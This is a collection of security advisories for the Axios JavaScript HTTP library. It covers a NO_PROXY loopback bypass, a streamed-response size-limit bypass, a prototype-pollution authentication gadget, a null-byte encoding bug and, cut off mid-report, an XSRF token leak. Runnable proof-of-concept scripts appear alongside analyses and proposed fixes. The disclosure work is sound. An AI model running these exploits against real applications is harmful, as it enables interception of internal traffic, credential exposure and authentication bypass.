const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

**RFC 1122 §3.2.1.3 is unambiguous:*

The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

2.6 Step-by-Step Bypass Execution Trace Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy(http://127.0.0.2:9191/internal-api):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect	Original Bug	This Finding
What was wrong	No normalization before comparison	Incomplete loopback address set
Fix applied	Added normalizeNoProxyHost()	None set remains hardcoded
RFC compliance	Violated RFC 1034 & RFC 3986	Violates RFC 1122 §3.2.1.3
Bypass method	Alternate string representation	Alternate valid loopback address
Impact	NO_PROXY bypass → SSRF	NO_PROXY bypass → SSRF (identical)

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

• Internal microservices and admin dashboards using dedicated loopback IPs
• Development environments with multiple isolated service instances
• Docker and container bridge network configurations
• Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory mkdir axios-bypass-test && cd axios-bypass-test Step 2 — Initialize the project with the patched Axios version Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios
# Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 

3.3 Analysis of Results The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|

Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

• Retrieve temporary IAM credentials
• Access environment variables containing secrets
• Enumerate internal service configurations
• Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service Type	Exposed Data
Admin panels / dashboards	User data, configuration, logs
Internal APIs	Business logic, database contents
Secret managers / vaults	API keys, tokens, certificates
Health check endpoints	Infrastructure topology
Development services	Source code, environment variables

Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service Type	Exposed Data	Exposed Data
Attack method	Use localhost. or [::1]	Use any 127.x.x.x ≠ 127.0.0.1
Patch status	Fixed in 1.15.0	Not fixed in 1.15.0
CVSS score	9.3 Critical	9.9 Critical or (equivalent)
Attacker effort	Trivial	Trivial
Detection by developer	None	None
Impact	SSRF / proxy bypass	SSRF / proxy bypass (identical)

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);

This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1

Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
  // Named loopback hostname
  if (host === 'localhost') return true;
  // IPv6 loopback address
  if (host === '::1') return true;
  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
  // Matches any address from 127.0.0.0 through 127.255.255.254
  const parts = host.split('.');
  return (
    parts.length === 4 &&
    parts[0] === '127' &&
    parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
  );
};

5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+   if (host === 'localhost') return true;
+   if (host === '::1') return true;
+   const parts = host.split('.');
+   return (
+     parts.length === 4 &&
+     parts[0] === '127' &&
+     parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+   );
+ };

All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
 A datagram sent by a higher-level protocol to a loopback
 address MUST NOT appear on any network."
Current fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.

# Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
# Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

Reason 4 — The Proposed Fix Has Zero Performance Impact The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

1. Two direct string comparisons ('localhost', '::1') — O(1)
2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:

• The parseNoProxyEntry() function
• The normalizeNoProxyHost() function
• The shouldBypassProxy() main function logic
• Any other file in the codebase

This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1'      // Full notation of ::1
'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback
'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback

Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

Axios: HTTP adapter streamed responses bypass maxContentLength

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment: - Axios main at commit f7a4ee2 - Node v24.2.0

Steps:

1. Start an HTTP server that returns a 2 MiB response body.
2. Call Axios with:
   • adapter: 'http'
   • responseType: 'stream'
   • maxContentLength: 1024
3. Read the returned stream fully.

Observed: - Success; full 2097152 bytes readable.

Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution Gadget attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely
Attack Complexity	Low	Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact within the application
Confidentiality	Low	401 treated as success may expose data behind auth gates
Integrity	High	All error handling and auth checks are silently bypassed — application operates on invalid assumptions
Availability	None	The function works correctly (returns true), no crash

Usage of Helper Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why validateStatus Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
  if (prop in config2) {           // ← `in` traverses prototype chain!
    return getMergedValue(a, b);
  } else if (prop in config1) {
    return getMergedValue(undefined, a);
  }
}

// mergeConfig.js:94
const mergeMap = {
  // ... all others use defaultToConfig2 ...
  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy
};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

// Application checks authentication via HTTP status codes
try {
  const response = await axios.get('https://api.internal/admin/users');
  // Developer expects: 401 → catch block → redirect to login
  // Reality: 401 → treated as success → displays admin data
  processAdminData(response.data);  // Executes with 401 response body!
} catch (error) {
  redirectToLogin();  // NEVER REACHED for 401/403/500
}

3. The Execution

// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus;  // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
  resolve(response);  // 401, 403, 500 all resolve here!
}

4. The Impact

Before pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → reject (auth error) → redirectToLogin()
  HTTP 403 → reject (forbidden) → showAccessDenied()
  HTTP 500 → reject (server error) → showErrorPage()

After pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
  HTTP 403 → resolve (SUCCESS!) → application thinks user has access
  HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500

--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

• Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
• Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
• Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
• Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop)) {
    return getMergedValue(a, b);
  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
    return getMergedValue(undefined, a);
  }
}

Resources

• CWE-1321: Prototype Pollution
• CWE-287: Improper Authentication
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• MDN: in operator
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-15	PoC developed and vulnerability confirmed
2026-04-16	Report revised for accuracy
TBD	Report submitted to vendor via GitHub Security Advisory

Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7) Affected Versions: All versions containing this charMap entry Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

• CWE-626: Null Byte Interaction Error (Poison Null Byte)
• CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it

Proof of Concept

import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

• Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
• Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
• Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}

Resources

• CWE-626: Null Byte Interaction Error
• CWE-116: Improper Encoding or Escaping of Output
• OWASP: Embedding Null Code
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low	XSRF token leaked — anti-CSRF token, not session token
